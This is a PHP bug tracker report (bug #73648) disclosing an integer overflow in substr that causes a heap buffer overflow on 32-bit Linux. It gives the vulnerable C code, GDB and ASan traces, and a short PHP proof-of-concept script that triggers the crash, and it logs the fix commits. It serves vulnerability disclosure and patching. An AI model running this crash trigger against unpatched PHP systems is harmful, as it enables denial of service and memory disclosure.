php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73648 Heap buffer overflow in substr
Submitted: 2016-12-04 03:28 UTC Modified: 2017-01-16 20:12 UTC
From: fernando at null-life dot com Assigned:
Status: Closed Package: Strings related
PHP Version: 7.0.14 OS: Linux 32 bits
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-12-04 03:28 UTC] fernando at null-life dot com
Description:
------------
When string parameter length and length parameter are big, integer overflow happens inside substr's validations, and next buffer overflow happens in memcpy function.


----------------------------------
Source code:
https://github.com/php/php-src/blob/PHP-7.1/ext/standard/string.c#L2384

PHP_FUNCTION(substr)
{
	zend_string *str;
	zend_long l = 0, f;
	int argc = ZEND_NUM_ARGS();

	ZEND_PARSE_PARAMETERS_START(2, 3)
		Z_PARAM_STR(str)
		Z_PARAM_LONG(f)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(l)
	ZEND_PARSE_PARAMETERS_END();

	if (argc > 2) {
		if ((l < 0 && (size_t)(-l) > ZSTR_LEN(str))) {
			RETURN_FALSE;
		} else if (l > (zend_long)ZSTR_LEN(str)) {
			l = ZSTR_LEN(str);
		}
	} else {
		l = ZSTR_LEN(str);
	}

	if (f > (zend_long)ZSTR_LEN(str)) {
		RETURN_FALSE;
	} else if (f < 0 && (size_t)-f > ZSTR_LEN(str)) {
		f = 0;
	}

	if (l < 0 && (l + (zend_long)ZSTR_LEN(str) - f) < 0) {
		RETURN_FALSE;
	}

	/* if "from" position is negative, count start position from the end
	 * of the string
	 */
	if (f < 0) {
		f = (zend_long)ZSTR_LEN(str) + f;
		if (f < 0) {
			f = 0;
		}
	}

	/* if "length" position is negative, set it to the length
	 * needed to stop that many chars from the end of the string
	 */
	if (l < 0) {
		l = ((zend_long)ZSTR_LEN(str) - f) + l;
		if (l < 0) {
			l = 0;
		}
	}

	if ((f + l) > (zend_long)ZSTR_LEN(str)) {
		l = ZSTR_LEN(str) - f;
	}

	RETURN_STRINGL(ZSTR_VAL(str) + f, l);
}



GDB output:

gdb -q --args  /home/user/build2/bin/php -n poc.php
Reading symbols from /home/user/build2/bin/php...done.

(gdb) b 2384
Breakpoint 2 at 0x891e316: file /home/user/build2/php-src/ext/standard/string.c, line 2384.
(gdb) c
Continuing.

Breakpoint 2, zif_substr (execute_data=0xf10140c0, return_value=0xffff9a00) at /home/user/build2/php-src/ext/standard/string.c:2384
2384            if ((f + l) > (zend_long)ZSTR_LEN(str)) {
(gdb) p f
$1 = 2147483646
(gdb) p l
$2 = 33554431
(gdb) p f+l
$3 = -2113929219    // Integer overflow





Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v1=str_repeat("a",0x7FFFFFFF);
$v3=0x1ffffff;
substr($v1, -1, $v3);

Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

==18377==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xef600000 at pc 0xf72caa75 bp 0xffcd4088 sp 0xffcd3c5c
READ of size 33554431 at 0xef600000 thread T0
    #0 0xf72caa74 in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8aa74)
    #1 0xf72cac2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
    #2 0x890a78f in zend_string_init /home/user/build2/php-src/Zend/zend_string.h:160
    #3 0x891e3e8 in zif_substr /home/user/build2/php-src/ext/standard/string.c:2388
    #4 0x8cb669e in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/user/build2/php-src/Zend/zend_vm_execute.h:628
    #5 0x8cb4ed1 in execute_ex /home/user/build2/php-src/Zend/zend_vm_execute.h:429
    #6 0x8cb51e4 in zend_execute /home/user/build2/php-src/Zend/zend_vm_execute.h:474
    #7 0x8baf604 in zend_execute_scripts /home/user/build2/php-src/Zend/zend.c:1474
    #8 0x8a47247 in php_execute_script /home/user/build2/php-src/main/main.c:2533
    #9 0x8eaec77 in do_cli /home/user/build2/php-src/sapi/cli/php_cli.c:990
    #10 0x8eb1239 in main /home/user/build2/php-src/sapi/cli/php_cli.c:1378
    #11 0xf69dd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #12 0x806f240  (/home/user/build2/bin/php+0x806f240)

0xef600000 is located 2048 bytes to the left of 114688-byte region [0xef600800,0xef61c800)
allocated by thread T0 here:
    #0 0xf72d6dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)
    #1 0x8c4cb99 in zend_new_interned_string_int /home/user/build2/php-src/Zend/zend_string.c:166
    #2 0x8bc98a0 in zend_register_functions /home/user/build2/php-src/Zend/zend_API.c:2237
    #3 0x8bcd721 in do_register_internal_class /home/user/build2/php-src/Zend/zend_API.c:2653
    #4 0x8bcda85 in zend_register_internal_class /home/user/build2/php-src/Zend/zend_API.c:2701
    #5 0x87904b2 in spl_register_std_class /home/user/build2/php-src/ext/spl/spl_functions.c:46
    #6 0x8802095 in zm_startup_spl_heap /home/user/build2/php-src/ext/spl/spl_heap.c:1226
    #7 0x878fb35 in zm_startup_spl /home/user/build2/php-src/ext/spl/php_spl.c:899
    #8 0x8bc5b0d in zend_startup_module_ex /home/user/build2/php-src/Zend/zend_API.c:1843
    #9 0x8bc5c21 in zend_startup_module_zval /home/user/build2/php-src/Zend/zend_API.c:1858
    #10 0x8bedff0 in zend_hash_apply /home/user/build2/php-src/Zend/zend_hash.c:1508
    #11 0x8bc6b36 in zend_startup_modules /home/user/build2/php-src/Zend/zend_API.c:1969
    #12 0x8a45dc8 in php_module_startup /home/user/build2/php-src/main/main.c:2256
    #13 0x8eac7c2 in php_cli_startup /home/user/build2/php-src/sapi/cli/php_cli.c:424
    #14 0x8eb10b8 in main /home/user/build2/php-src/sapi/cli/php_cli.c:1345
    #15 0xf69dd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 __asan_memcpy
...


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-01-16 20:12 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 7.1.0 +PHP Version: 7.0.14
 [2017-01-16 20:14 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1d002fc4dd25a80e20163b18880f40a445276e7
Log: Fix bug #73648 - integer overflow in substr
 [2017-01-16 20:14 UTC] stas@php.net
-Status: Open +Status: Closed
 [2017-06-20 20:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=14c422a32fc13284cbbc6a9ae9b65cc6081dda1f
Log: Fix bug #73648 - integer overflow in substr
 [2017-06-21 04:33 UTC] sixd@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=14c422a32fc13284cbbc6a9ae9b65cc6081dda1f
Log: Fix bug #73648 - integer overflow in substr
 [2017-06-21 14:53 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e2021d41f776d832a07112dd32c6a5d27259ac0a
Log: Fix bug #73648 - integer overflow in substr
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 16:01:33 2024 UTC